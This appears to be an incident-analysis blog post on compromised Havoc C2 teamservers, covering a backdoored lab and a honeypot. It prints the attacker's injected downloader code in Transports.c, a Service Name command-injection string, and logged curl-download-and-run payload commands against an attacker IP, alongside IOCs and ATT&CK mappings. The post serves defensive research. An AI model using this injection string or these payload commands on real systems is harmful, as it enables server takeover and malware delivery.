Il y a une version française de cet article que vous pouvez trouver ici.
Context#
Two years ago, I set out to analyze the behavior of several offensive frameworks in a controlled environment, to gauge how easily they could be compromised and how stealthy they were. I settled on Havoc, an open-source project that presents itself as a modern, modular post-exploitation framework.
To make the exercise more realistic, I roped in a few friends and formed two teams: an “attacking” one, in charge of the offensive infrastructure, and a defensive one, in charge of detonation and detection. A Red Team and a Blue Team, two people each.
While analyzing the artifacts left behind by the Havoc agent’s detonation, a few details turned out to be surprising, to say the least.
This article covers two successive investigations: first the controlled lab, where our own teamserver turned out to be compromised; then a second teamserver deliberately exposed on the Internet for several weeks to check whether the phenomenon was isolated.
It wasn’t.
Disclaimer: in most jurisdictions, compromising a computer system is illegal, even in response to an attack (hackback). This article is published for strictly educational purposes; despite the somewhat clickbait title, I am in no way inviting anyone to break the law that applies to them. Everything described here was done in a controlled environment, with all necessary authorizations, and for research purposes.
Enough talk, let’s get into it!
How does Havoc work?#
After reading the official documentation and the project README, here’s what you need to keep in mind for the rest of this article.
Havoc’s architecture rests on three main components:
- The Teamserver (Go): the centerpiece of the setup. It handles agent creation, listener configuration, and coordination of operations.
- The Client (Qt/C++): the graphical interface used by operators to interact with the teamserver. This is where you generate payloads, issue commands on compromised machines, and so on.
- The Demon (C / ASM): the agent deployed on the victim machine. It maintains communication with the teamserver and executes the commands it receives.

One important point for what follows: agent generation happens on the teamserver side. When an operator requests a new payload from the client, it’s the teamserver that compiles the binary.
The relevant code lives in teamserver/pkg/common/builder/builder.go. The teamserver assembles the compilation command from the parameters chosen by the operator (architecture, injection type, sleep technique, etc.) and runs it via exec.Command("sh", "-c", <command>). Most of these parameters never touch the shell command; they are written directly into the compiled binary’s configuration. The ones that do get injected (as -D DEFINE=value) are validated via allowlist or typed conversion, with one exception, which we’ll come back to.
The teamserver’s default configuration creates two accounts, 5pider and Neo, both with the password password1234. The teamserver listens on 0.0.0.0:40056 by default, and a Service API endpoint is configured with equally weak credentials (service-endpoint / service-password). Obvious as it may sound, the project’s official documentation doesn’t explicitly say to change these credentials.
Act One: initial detonation and analysis#
Setup and first tests#
Once the infrastructure was in place (teamserver compiled and running on a Linux box, client connected), the Red Team generated a first Demon on 8 November 2024 and ran it on the target Windows machine.
This first agent behaved exactly as expected: regular HTTPS communications back to the teamserver, operator takeover, commands issued from the client. So far, nothing out of the ordinary.
On my end, the goal was to observe the agent’s behavior on the victim machine, its network traffic and the artifacts it left behind, to derive detection markers.
The second detonation#
During a second detonation (on 19 December 2024, then reproduced on 3 January 2025 to try to make sense of the problem), the demon’s behavior started to change. It was still talking to its C2 as expected, but this time it was dropping another file in C:\Windows\temp: torproject.exe.
- SHA256:
dbc4afe6b9291e6d4eb0bccb60d2e966965ad482d60007599089e358c61940c2 - Download URL:
update[.]torproject[.]cloud/updates
This file hadn’t been generated by our teamserver, and the behavior matched no documented Havoc feature.
Breaking down the infection chain#
Analysis reconstructed the full chain:

YARA analysis identified the two families involved:
torproject.exeis a Donut Loader, UPX-packed. According to Elastic’s 2024 Global Threat Report, Donut Loader accounted for 6.62% of infections observed over the year.openvpnssl.exeis an Apollo Agent, the Windows implant written in C# .NET 4.0 designed for the Mythic framework by SpecterOps.
The loader downloads the agent and its configuration file, then launches Apollo with the command:
"C:\Users\%username%\AppData\Local\Sysinternals\openvpnssl.exe" --localconfig C:\Users\%username%\AppData\Local\Sysinternals\config.iniOnce openvpnssl.exe is running, torproject.exe terminates itself.
The config.ini file is encrypted and, unsurprisingly, decrypted in memory by openvpnssl.exe at runtime. An attempt to recover the key via a memory dump of the process turned up nothing.
The Apollo agent communicates over HTTPS with 188[.]114[.]96[.]2, a Cloudflare proxy. The real C2 infrastructure sits hidden behind it, which makes attributing and characterizing the attacker considerably harder.
Masquerading techniques#
A few of the attacker’s choices are worth flagging. The binary names are not neutral:
torproject.exe(which has nothing to do with the Tor project) mimics a Tor Browser update. The domainupdate[.]torproject[.]cloudplays on the same theme.openvpnssl.exeimpersonates a VPN client.- The Apollo agent is placed in
%USERPROFILE%\AppData\Local\Sysinternals, a directory whose name suggests it belongs to the Microsoft Sysinternals suite.
All of this falls under T1036 Masquerading. The attacker is trying to pass off their artifacts as legitimate parts of the system.
At this point, several hypotheses were still open: a backdoor deliberately introduced by the project developer, a supply chain compromise of the GitHub repo, or the exploitation of a vulnerability on our teamserver.
Investigation: what actually happened on the teamserver?#
A simple correlation#
Before diving into the code: the first demon generated on 8 November 2024 was clean. Every demon generated after that date included the loader download. So something was modified on our teamserver between the two generations.
To confirm, I spun up a fresh isolated environment with a freshly compiled teamserver. Detonating a demon generated from that server showed no sign of compromise. The lead pointed back to our original instance.
Source code analysis#
The project had been cloned from GitHub and the attacker hadn’t bothered to delete the .git directory, so the comparison was quick. A simple git status at the project root:
$ git status
On branch main
Your branch is up to date with 'origin/main'.
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: payloads/Demon/src/Demon.c
modified: profiles/havoc.yaotl
modified: teamserver/go.mod
modified: teamserver/go.sum
Untracked files:
(use "git add <file>..." to include in what will be committed)
payloads/Demon/include/core/Transports.h
payloads/Demon/src/core/Transports.c
no changes added to commit (use "git add" and/or "git commit -a")Not all the changes are malicious. Quick sort:
profiles/havoc.yaotl: the listener IP was added by the teamserver itself during configuration. Legitimate.teamserver/go.modandteamserver/go.sum: the addition of thegithub.com/ugorji/go v1.2.12module matches a dependency installed by the Red Team (go mod download) during initial setup. Also legitimate.payloads/Demon/src/Demon.cplus the two untracked filesTransports.handTransports.c: this is where the investigation gets interesting.
Modification of Demon.c#
In the headers of Demon.c, one line has been added:
/* Import Core Headers */
#include <core/Transport.h>
#include <core/Transports.h> // <-- ADDED
#include <core/SleepObf.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/SysNative.h>
#include <core/Runtime.h>The project already contains a legitimate core/Transport.h (singular). The attacker created core/Transports.h (with an “s”) so the include would slip by unnoticed - T1036.005 Match Legitimate Name or Location.
Further down, in the DemonMain function:
VOID DemonMain( PVOID ModuleInst, PRAYN_ARGS KArgs )
{
INSTANCE Inst = { 0 };
Instance = & Inst;
/* Initialize Win32 API, Load Modules and Syscalls stubs */
DemonInit( ModuleInst, KArgs );
/* Initialize MetaData */
DemonMetaData( &Instance->MetaData, TRUE );
DemonEx(); // <-- ADDED
/* Main demon routine */
DemonRoutine();
}A call to DemonEx() has been inserted between initialization and the demon’s main routine. The function is declared in the new Transports.h header:
#ifndef DEMON_TRANSPORTS_H
#define DEMON_TRANSPORTS_H
void DemonEx();
#endifThe malicious code: Transports.c#
The core of the injection is in payloads/Demon/src/core/Transports.c. The code isn’t obfuscated; on the contrary, it’s commented.
BOOL DownloadFile(LPCWSTR file_path) {
[...]
// Step 1: Initialize WinHTTP session
hSession = Instance->Win32.WinHttpOpen(
L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);
if (!hSession) {
PRINTF(L"WinHttpOpen failed");
goto cleanup;
}
// Step 2: Parse URL and connect to server
LPCWSTR hostName = L"update[.]torproject[.]cloud";
LPCWSTR path = L"/updates";
[...]
}
int ExecuteProcess(const wchar_t *exePath) {
STARTUPINFOW si = {sizeof(STARTUPINFOW)};
PROCESS_INFORMATION pi;
BOOL bSuccess = FALSE;
bSuccess = Instance->Win32.CreateProcessW(exePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
return bSuccess;
}
int DemonEx() {
LPCWSTR file_path = L"C:\\Windows\\temp\\torproject.exe";
const wchar_t *exePath = L"C:\\Windows\\temp\\torproject.exe";
if (DownloadFile(file_path)) {
ExecuteProcess(exePath);
PRINTF(L"Download completed successfully.\n");
} else {
PRINTF(L"Download failed.\n");
}
return 0;
}The domain
update[.]torproject[.]cloudis intentionally defanged here. The brackets are obviously not present in the original code.
Three functions, a simple behavior: DownloadFile() downloads the loader from the attacker’s domain, ExecuteProcess() runs it, DemonEx() chains the two. The numbered breakdown (Step 1, Step 2…), the explanatory comments, the very “tutorial” naming: the style is strongly compatible with code generated or heavily assisted by an LLM, though we can’t establish it with certainty.
Activity on the teamserver#
The list of agents registered on the teamserver confirms the compromise. Two demons show up, none of them detonated by us:
| Hostname | OS | InternalIP | ExternalIP | FirstCallin |
|---|---|---|---|---|
| 67za5au5 | Windows 10 32-bit | 10.66.85.174 | 146[.]70[.]116[.]195 | 8 Nov 2024 12:22 |
| snf833vr | Windows Server 2008 R2 | 10.250.102.130 | 146[.]70[.]116[.]195 | 9 Nov 2024 12:29 |
The hostnames, usernames and domain names look randomly generated. The external IP 146[.]70[.]116[.]195 was probably manipulated by the attacker to muddy the trail. The first suspicious agent appeared 2 days after the server was set up, the second 3 days after.
These fake agents turned out to be the signature of an exploitation, but I only understood that after the fact, while analyzing the honeypot described later, whose logs carried the proof in the clear. The identification is therefore retrospective.
One quick note: on this first lab, monitoring was limited to the victim machine. The teamserver itself wasn’t monitored. It was set up to generate agents, not to be watched. So no log tells us when the attacker connected to it, or what commands they ran on it. Only the disk artifacts, the modified code and the two phantom agents, testify to their presence.
That gap is exactly what motivated the rest of this research. On the honeypot described below, I set up monitoring on the teamserver itself (auditd, Snoopy, full network capture), and the same attack becomes perfectly readable there. Here are a few logs from the honeypot to illustrate:
03:06:02.319 uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
/usr/bin/nasm -f win64 src/asm/Spoof.x64.asm -o /tmp/df5fe3e6e6/8a2230c9af.o
03:06:02.321 uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
/usr/bin/nasm -f win64 src/asm/Syscall.x64.asm -o /tmp/df5fe3e6e6/cea771c8aa.o
03:06:02.323 uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
curl -v -k http://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3 -o /tmp/cache2The attacker’s curl runs between two legitimate compilation steps, with the same working directory and the same session ID as the builder. That’s the signature of the injection into the Service Name field: the command is executed by the sh -c in builder.go, right in the middle of an agent generation.
The same logs delivered the full persistence sequence, minute by minute, along with the installation of an SSH key. More on that later.
Looking into known vulnerabilities#
Ruling out the supply chain hypothesis#
Before hunting for CVEs, I considered the simplest hypotheses first. Havoc is an open-source project, originally developed as a student project. A backdoor introduced by the developer, or a compromise of the GitHub repo, still needed to be ruled out.
The latest commits on main involved no major changes, no dependency modifications. The only recent commit (28 November 2024) added a sponsor to the README.md (since removed). To make sure, the comparison was redone against a commit identical to the one used for the initial installation.
Verdict: the official code is clean. The compromise happened only on our instance, after deployment.
Two vulnerabilities, one exploitation chain#
Looking into whether Havoc had any known vulnerabilities, I came across two articles that described exactly the type of attack I had just observed.
SSRF - Server Side Request Forgery#
The first vulnerability was discovered by Chebuya and documented in this article. A PoC is available on his GitHub.
The idea: impersonate a Demon’s registration with the teamserver in order to open a TCP socket from it, and thereby interact with internal services, or reveal the teamserver’s real IP address when it sits behind a redirector.
This vulnerability is exploitable without any authentication. It was assigned CVE-2024-41570 with a CVSS score of 9.8.
The mechanism is more powerful than a classic SSRF. A Demon’s registration protocol uses a binary format: 4 bytes for the size, 4 bytes for the magic value 0xDEADBEEF, 4 bytes for the agent’s identifier, followed by the Command ID, the Request ID, then, specifically for the initial registration (DEMON_INIT, command 99), the AES-CTR key (32 bytes) and the IV (16 bytes), and finally the encrypted payload. This key and IV are entirely chosen by the client. No shared secret, no challenge-response. An attacker can therefore register a fake Demon with a known key (null bytes, say) and decrypt every subsequent exchange, since the same key is reused for the whole session.

The AES key travels inside the client’s own packet. The public PoC simply sets it to zero, and the fake registration lands in the teamserver’s log as No Aes Key specified.
The flaw sits in the IsKnownRequestID function in teamserver/pkg/agent/agent.go. For two commands, COMMAND_SOCKET and COMMAND_PIVOT, it unconditionally returns true, without checking whether an operator actually requested them. A third conditional case exists (BEACON_OUTPUT when extended logging is enabled), without consequence for the exploitation. The authors’ reasoning is visible in the code: these commands don’t follow the “task then response” pattern, so correlating them with a prior task is impossible. The catch is that no other check takes over. Among the sub-commands of COMMAND_SOCKET, SOCKET_COMMAND_OPEN registers an attacker-supplied target IP and port, then any data sent afterward via SOCKET_COMMAND_READ triggers the actual opening of the TCP connection from the teamserver. This isn’t a blind SSRF limited to HTTP: it’s a TCP proxy, which allows, among other things, connecting via WebSocket to the teamserver’s own management port.
Authenticated RCE - Command injection#
The second vulnerability was identified by Laurence Tennant (Include Security) in this article. A PoC is also available on GitHub.
The mechanism: when an operator requests an agent generation from the client, the teamserver compiles the binary via an sh -c call. Most parameters supplied by the client are correctly filtered, except for the “Service Name” field, which is injected as-is into the compilation command. So it’s possible to insert an arbitrary command that will be executed on the server.
The injection payload described in the PoC looks like this: " -mbla; CMD 1>&2 && false #. The escaped quote breaks the string context in the sh -c command; -mbla is an invalid option that makes MinGW fail immediately (so we don’t have to wait for a compilation to complete); the semicolon introduces the arbitrary command with stdout redirected to stderr; && false guarantees an error return code so the teamserver relays the stderr contents (which contain the command’s output) back into the Havoc interface; and # comments out the rest of the line.
This isn’t the only possible form; several syntactically distinct variants have been used, which incidentally makes for a fairly useful attribution marker. The result is an interactive pseudo-shell running commands with the privileges of the teamserver process. That process often runs as root, so it can bind ports 80/443 for listeners. Common but not a given: on the honeypot discussed below, it ran under an unprivileged account, and that was enough to defeat one of the attackers’ persistence attempts.
This vulnerability requires authenticated access to the teamserver. Except that, as mentioned above, Havoc’s default configuration creates two users with the password password1234.
No official CVE has been assigned to this vulnerability. Based on its characteristics (remote RCE, authentication required with default creds, maximum impact on confidentiality, integrity and availability), an estimated CVSS 3.1 score comes out around 8.8 (vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). The choice of PR:L reflects the formal authentication requirement; in practice, with the default credentials unchanged, the vulnerability behaves like a PR:N (equivalent score 9.8). With the GitHub repository archived in February 2026, the remediation status is RL:U (Unavailable): the project as it stands remains unpatched; a major fix on the rewrite branch or in a fork remains theoretically possible but doesn’t exist at the time of writing.
What probably happened in my case#
In this lab, the teamserver’s IP address wasn’t hidden behind a redirector. So the attacker probably didn’t need the SSRF to locate the server: a simple scan was enough.
That’s a nuance that matters, and the honeypot confirmed it later on: CVE-2024-41570 was indeed exploited there, but only for its stage 1, the fake Demon registration. The TCP proxy, the spectacular part of the vulnerability, brought nothing extra once port 40056 was directly reachable. So the SSRF is less “the mandatory first step of the chain” than the link that becomes indispensable when the teamserver is properly protected.
The credentials for the 5pider and Neo accounts, on the other hand, were left at their defaults. Exploiting the RCE became trivial: connect to the teamserver with the default creds, inject a command via the “Service Name” field, get a shell, and modify the agent generation code to embed the Apollo implant.
The full scenario, had the teamserver been behind a redirector, could have looked like this:

Several public repositories on GitHub (sebr-dev, Nicolas-Arsenault, thisisveryfunny) chain the SSRF and the authenticated RCE into a single script: the SSRF opens a WebSocket to port 40056, authenticates with the default credentials, and triggers the injection via the Service Name field. The attack is fully automated and unauthenticated as soon as the default credentials are in place.

The SSRF opens a tunnel to the loopback WebSocket, the default credentials unlock authentication over that tunnel, and the Service Name injection turns the whole chain into an unauthenticated RCE.
The attack is stealthy and offers an interesting leverage effect: the attacker compromises a single machine (the teamserver) and gets access to all future victims of the operator using that teamserver, without ever targeting them directly.
To gauge what this represents at Internet scale, I queried two exposure search engines in August 2026:
| Engine | Query | Results |
|---|---|---|
| Shodan | x-havoc = true | 30 |
| Censys | host.services.endpoints.http.headers.key:"X-Havoc" | 32 |
The convergence gives some confidence in the result.
Now, what does it actually measure. The X-Havoc header is present by default, left there by the framework’s author to limit malicious use according to several blogs — without the repository formally attesting it — except that any operator can remove it by editing their profile. These thirty instances are therefore not the population of exposed Havoc teamservers, but those whose operator hasn’t changed the header (and possibly, left the default credentials in place).
The gap with other counting methods is telling. A search based on the TLS certificate fields (which also catches instances that removed the header but kept the default certificate generation) counted 238 IPs in March 2024. The two figures aren’t directly comparable, neither by date nor by method. But they say the same thing: the number you get mostly depends on how much sloppiness you’re willing to count.
The honeypot described below would have been among them. Its certificate carried a commonName in IP format, a postal code and an organization pulled from the default list, exactly the pattern this second method looks for.
Update: on 20 February 2026, the HavocFramework organization on GitHub was archived. All repositories became read-only, with 115 open issues and 19 unmerged pull requests. So the authenticated RCE will not be fixed on the main branch, whose remediation status remains
RL:U(Unavailable) for any deployment based onmain. A fix remains theoretically possible on the rewrite branch or in a fork, but doesn’t exist at the time of writing. Havoc is still available in the Kali Linux repositories, in version 0.7.
The attacker’s activity on the “victim” machine#
One last angle to dig into: what did the attacker do once on the victim machine?
Reconnaissance and lateral movement attempt#
More than 90 minutes after the initial demon’s detonation, several commands were issued on the victim machine via the Apollo agent. The chronology was reconstructed from the Sysmon Event ID 1 (Process Create) and Windows Security Event 4688 (process creation auditing) logs, both configured to log the full command line. The BAM registry key (HKLM\SYSTEM\ControlSet001\Services\bam\State\UserSettings\<SID>) confirmed binary execution on the disk-artifact side, but without access to arguments it remains a useful post-mortem complement.
| Timestamp (UTC) | Command | Activity type |
|---|---|---|
| 11:00:30 | curl ifconfig.me | Reconnaissance |
| 11:03:10 | net use | Reconnaissance |
| 11:07:40 | dir \\172.16.1.3\c$ | Lateral movement - Reconnaissance |
| 11:08:22 | dir \\172.16.1.3\c$\Users | Lateral movement - Reconnaissance |
| 11:08:50 | dir \\172.16.1.3\c$\Users\Administrator | Lateral movement - Reconnaissance |
| 11:09:20 | dir \\172.16.1.3\c$\Users\Administrator\Desktop | Lateral movement - Reconnaissance |
| 11:09:30 | dir \\172.16.1.3\c$\Users\Administrator\Download | Lateral movement - Reconnaissance |
| 11:37:51 | systeminfo | Reconnaissance |
The time gaps between commands (a few seconds or minutes) suggest manual intervention from the attacker rather than an automated script.
The goal: local reconnaissance, then enumeration of the neighboring Windows Server (172.16.1.3) with lateral movement in mind. Finding nothing of interest on the server side, the attacker dropped this lead.
Persistence attempt#
Just before the lab was shut down, the attacker rewrote the demon binary in C:\Windows\temp under the name 1.exe. The hashes match the initial demon’s, so this is a compromised demon that will re-download the loader on the next launch. Two hypotheses: either the attacker planned to re-run the infection chain from scratch (in case the Apollo agent was lost), or they were setting up a persistence mechanism.
Observed TTPs#
The whole cycle, from the teamserver exploitation through the post-exploitation phase, can be mapped onto the MITRE ATT&CK matrix:
| TTP | Technique | Observation |
|---|---|---|
| T1190 | Exploit Public-Facing Application | SSRF + RCE exploitation on the exposed Havoc teamserver |
| T1195.002 | Compromise Software Supply Chain | Modification of the generation code: every Demon compiled after the compromise embeds the loader |
| T1105 | Ingress Tool Transfer | Download of torproject.exe by the Demon, then of Apollo and its config by the loader |
| T1027.002 | Software Packing | torproject.exe UPX-packed |
| T1036.005 | Match Legitimate Name or Location | Binary names (torproject.exe, openvpnssl.exe) and path (%LOCALAPPDATA%\Sysinternals) mimicking legitimate elements |
| T1140 | Deobfuscate/Decode Files | config.ini encrypted, decrypted in memory by Apollo at runtime |
| T1059.003 | Windows Command Shell | Reconnaissance and lateral-movement commands issued via cmd.exe |
| T1016 | System Network Configuration Discovery | curl ifconfig.me (public IP) |
| T1082 | System Information Discovery | systeminfo |
| T1135 | Network Share Discovery | net use (network shares) and share enumeration via \\172.16.1.3\c$ and subdirectories |
| T1071.001 | Application Layer Protocol: Web Protocols | HTTPS communications between Apollo and its C2 via Cloudflare |
IOCs from the first compromise#
Here are the IOCs collected during this first investigation. They are specific to this case: the domain torproject[.]cloud, in particular, is entirely absent from the honeypot described later, whose domains and payloads are completely distinct. The two sets of indicators should not be mixed. The only notable coincidence is that the ExternIPs declared by the fake agents in both cases fall within the same 146[.]70[.]116[.]0/24 range, a commercial VPN pool (Mullvad) shared by thousands of users. Also, the IPs correspond to the Cloudflare nodes that front the actual C2. The hashes, paths, and domains, on the other hand, are directly usable.
File IOCs#
| Type | Value | Context |
|---|---|---|
| SHA256 | dbc4afe6b9291e6d4eb0bccb60d2e966965ad482d60007599089e358c61940c2 | Donut Loader (torproject.exe) |
| Family | Donut Loader | Open-source in-memory loader (VBScript, JScript, EXE, DLL, .NET) |
| Family | Apollo (Mythic) | C# .NET 4.0 agent by SpecterOps |
| Path | C:\Windows\temp\torproject.exe | Initial loader drop |
| Path | %LOCALAPPDATA%\Sysinternals\openvpnssl.exe | Deployed Apollo agent |
| Path | %LOCALAPPDATA%\Sysinternals\config.ini | Encrypted Apollo configuration |
| Path | C:\Windows\temp\1.exe | Rewrite of the Havoc demon (persistence/reinfection) |
Network IOCs#
| Type | Value | Context |
|---|---|---|
| URL | https://update[.]torproject[.]cloud/updates | Loader download URL |
| Domain | update[.]torproject[.]cloud | Attacker domain masking Cloudflare VT link |
| IP | 188[.]114[.]96[.]2 | Cloudflare proxy (Apollo C2) |
| IP | 104[.]21[.]25[.]86, 172[.]67[.]133[.]228 | Cloudflare proxies (update[.]torproject[.]cloud resolution) |
| IP | 146[.]70[.]116[.]195 | ExternalIP of the suspicious agents on the teamserver (probably spoofed) |
Havoc source code changes#
| File | Type of change |
|---|---|
payloads/Demon/src/Demon.c | Addition of #include <core/Transports.h> and a call to DemonEx() inside DemonMain() |
payloads/Demon/include/core/Transports.h | New file: declaration of DemonEx() |
payloads/Demon/src/core/Transports.c | New file: code that downloads and executes the loader |
Act Two: setting up a honeypot#
To test the hypothesis of automated exploitation by opportunistic actors, I exposed a second Havoc teamserver, deliberately vulnerable, on the Internet. The first compromise happened within 24 hours of exposure, confirming that these vulnerabilities were being actively scanned and exploited.
That was the starting hypothesis, and it holds. But after digging through six weeks of logs, I realized the most interesting part was elsewhere:
Several independent actors succeeded one another on the same machine. The second manipulated the payload dropped by the first. The third, a few days later, queried a fake agent left by the second and never got a response.
The setup#
Havoc 0.7 “Bites The Dust”, cloned on 12 January 2025 from the official repository (commit 41a5d45c…), run as-is on 16 January. Default credentials intact, ports 22, 443 and 40056 exposed on an OVH public IP (178[.]32[.]113[.]93), listener TestHTTPS up. In short, exactly the setup I just spent an article warning against.
On the monitoring side: auditd and Snoopy on the teamserver, Suricata and the pfSense filterlog upstream, all forwarded to a Wazuh, plus a full network capture from 17 to 21 January. The machine was exposed on the Internet from 9 January (preparation, configuration), Havoc came on the scene on 16 January, the first hostile activity arrived on 17 January, and collection continued until 23 February, totaling 4.17 million packets and 46 days of alerts.
One final point that will matter later: the teamserver was running under an unprivileged account.
Act I: the phantom registration (17 January)#
12:24:14. A Demon registers with the listener. Nobody generated it.
| Field | Observed value | Why it’s impossible |
|---|---|---|
| AES key | No Aes Key specified | An agent registering without an encryption key is anomalous by design |
SleepJitter | 299 | A jitter is a percentage. Any value > 100 makes no sense |
SleepDelay | 74889 (20.8 h) | Well outside any operational range |
| Hostname / User / Domain | lu1y57ry / ewpuqu / EWQGXNZQHNIT | Random strings |
| Agent ID | 32d94782 | — |
That’s the signature of CVE-2024-41570, in the clear, in the teamserver’s own log. The AES key is supplied by the client during DEMON_INIT, without a shared secret; the public PoC simply sets it to zero.
Fun detail: an attempt one second earlier had been rejected for an invalid User-Agent. The tool fixed its UA and succeeded on the retry. Havoc’s User-Agent check only stops sloppy tooling.
The teamserver log, raw:
[12:24:13] [WARN] got a request with an invalid user agent: Mozilla/5.0 (Windows NT 6.1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
[12:24:14] [DBUG] [handlers.handleDemonAgent:262]: Agent does not exists. hope this is a register request
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:404]: Parsed DemonID: 32d94782
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:412]: AgentID (32d94782) == DemonID (32d94782)
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:424]:
Hostname: lu1y57ry
Username: ewpuqu
Domain : EWQGXNZQHNIT
InternIP: 10.144.66.243
ExternIP: 146[.]70[.]116[.]227
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:441]:
ProcessName : explorer.exe
ProcessPID : 5546
ProcessTID : 1440
ProcessPPID : 3337
ProcessArch : 1
Elevated : 1
Base Address: 0x400000
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:459]:
SleepDelay : 74889
SleepJitter : 299
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:594]: Finished parsing demon
[12:24:14] [DBUG] [packer.(*Packer).Build:87]: No Aes Key specified
[12:24:14] [DBUG] [handlers.handleDemonAgent:295]: Finished request
The same registration in the terminal, framed by the routine TLS errors that were flooding the log.
It’s all there, in order. The rejected attempt at 12:24:13, the success one second later, the entirely fabricated identity, the absurd sleep parameters, and the line that signs the exploitation: No Aes Key specified.
14:13:29. Two hours later, an operator I’ll call A2 connects to port 40056. Their source IP comes from the same provider (M247/Mullvad) as the one declared by the fake Demon two hours earlier, which likely ties the registration to the same actor. They’ll stay for 4 days and 7 hours, in only three TCP sessions, one of them 32 hours long.
Act II: twenty-four seconds (20 January)#
Three days later, someone else drops by. Everything is timestamped to the second by cross-referencing the network capture, auditd, and the application log:
03:05:53 103[.]127[.]218[.]229 opens a TLS connection on port 40056
03:05:54 [GOOD] User <Neo> Authenticated ← default credentials
03:05:55 Service Name: $(curl … ; chmod 777 … ; nohup … &)
03:05:57 First beacon to microsoft[.]azuredevtools[.]comLess than two seconds pass between authentication and code execution, so exploitation is scripted here. Its JA3 fingerprint confirms it: 8e1cb226, 91 cipher suites, a profile much broader than a browser’s (fifteen to thirty typically), consistent with a tool using OpenSSL without customization. This fingerprint is unique across the 4.17 million packets analyzed.
The full payload, as the teamserver itself logged it:
$(curl -v -k http://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3 -o /tmp/cache2;
chmod 777 /tmp/cache2;
nohup /tmp/cache2 > /dev/null 2>&1 &)Note that this is not the " -mbla; CMD 1>&2 && false # form from the PoC: here, a command substitution $(…), without an escaped quote and without capturing the output. The actor isn’t after an interactive pseudo-shell; they just want to drop their payload and leave.

The builder’s PatchConfig line, raw. The attacker’s payload sits next to the payload’s legitimate parameters, and two lines below, the teamserver logs its own public address.
The file is served by a self-hosted Transfer.sh instance on Oracle Cloud (Server: Transfer.sh HTTP Server, X-Made-With: <3 by DutchCoders): a static 2.6 MB ELF64, UPX-packed.
03:06:18, disconnection. Total presence of A1 on the infrastructure: 24 seconds.
The implant, on the other hand, settles in for the long run: an outbound connection every 11.7 seconds, about 154 per half hour on average, uninterrupted across the 42 hours covered by the capture, or 12,950 TLS sessions to microsoft[.]azuredevtools[.]com. Another instance of masquerading. The attacker will keep leveraging Microsoft-looking domains later with defender[.]en-us[.]vip.

Over 42 hours, the rate doesn’t move. The only notable deviation is the spike on 21 January at 11:00, A2 relaunching the implant, which adds only 11 connections where a second instance would have produced around fifty.
Act III: the sabotage (21 January, 11:06 → 11:21)#
The next morning, A2 (connected since the 17th) gets to work. Fifteen minutes, a single session, two objectives.
11:06:14 → 11:11:07. They create payloads/Demon/src/core/Transports.c (3,487 bytes) and payloads/Demon/include/core/Transports.h (83 bytes), then modify src/Demon.c: an #include on line 9, a DemonEx() call on line 49.
Same files and same pattern as on my first lab. Only the download URL changes: here, defender[.]en-us[.]vip/static/update.zip. The seven numbered // Step N comments are here too, which strongly suggests it’s the same attacker.
The mtime and ctime of these three files are identical down to the second. A backdated touch only modifies the mtime; the two would diverge. So the attacker didn’t try to hide the file creation dates, at least not that way.
11:12:43 → 11:21:24. Then A2 lists /tmp, finds the cache2 dropped the day before by A1, and starts handling it:
11:14:27 mv /tmp/cache2 /usr/sbin/dbus-udevd → failed (uid 1000)
11:15:49 sudo mv … → failed
11:16:25 id ← checks their privileges
11:17:23 mv /tmp/cache2 /tmp/.font-unix/cache ← fallback
11:21:02 nohup /tmp/.font-unix/vmtoolsd ← relaunch
11:21:24 rm -f /tmp/cache2 ← cleanupThis is where the unprivileged account does its job: the install into /usr/sbin fails twice, and the attacker is forced to fall back to /tmp. Three successive masquerades, by increasing subtlety: dbus-udevd (fake system daemon), /tmp/.font-unix/ (legitimate X11 directory hijacked), vmtoolsd (fake VMware Tools).
What they meant to do with it stays opaque: the binary, whose C2 configuration is hardcoded, kept beaconing to A1’s infrastructure regardless. The only certain fact is that A2 didn’t know it was already running. The proof is direct: process 131318 was reporting exe=/tmp/cache2; twelve seconds after the mv, the same PID reports a different path. A2 renamed the binary out from under the running process, which survived and kept beaconing. The rate never varied: 154 connections per half hour, before as after. An extra nohup would have doubled it.
The implant will die that same evening, at 22:09, when the machine reboots. The process started by A1 will have run for 43 hours; the copy relaunched by A2 as vmtoolsd, only 10h 48m. The builder sabotage, on the other hand, will survive.
Act IV: the methodical return (27 January)#
Six days later, 5pider, present on and off since 22 January without having done anything more than query the fake Demon, gets to work.
10:36:30 [GOOD] User <5pider> Authenticated
10:36:32 Service Name: \" -mbla; id 1>&2 && false #
10:36:34 … whoami …
10:36:36 … ip a …
10:37:15 … curl ipinfo.io …
10:37:26 … lscpu …This time, it’s the form from the public PoC. And it works perfectly: the lscpu output shows up as-is in the teamserver log (Core(s) per socket: 4), pulled back through the stderr-relay mechanism described earlier. 96 injections will be launched in half an hour.
Then, over nineteen minutes, A3 does what neither of the other two did: set up a fallback access.
10:39:50 cat ~/.ssh/id_rsa → failed, file doesn't exist
10:40:46 cat ~/.ssh/known_hosts → pivot mapping
10:54:48 public key dropped
10:58:41 installed in ~/.ssh/authorized_keys
10:59:12 first SSH connection, 31 seconds laterA 3072-bit ssh-rsa key, comment kali@kali, fingerprint SHA256:R9C3ApIi4HciQ8t1Ba1zV5HQPdOixdyEI1YA2v8gq0g. Eight SSH connections over 24 days, from four addresses, until 19 February.
That’s the only persistence that will have survived the 21 January reboot.
Epilogue: the parasites inspect each other#
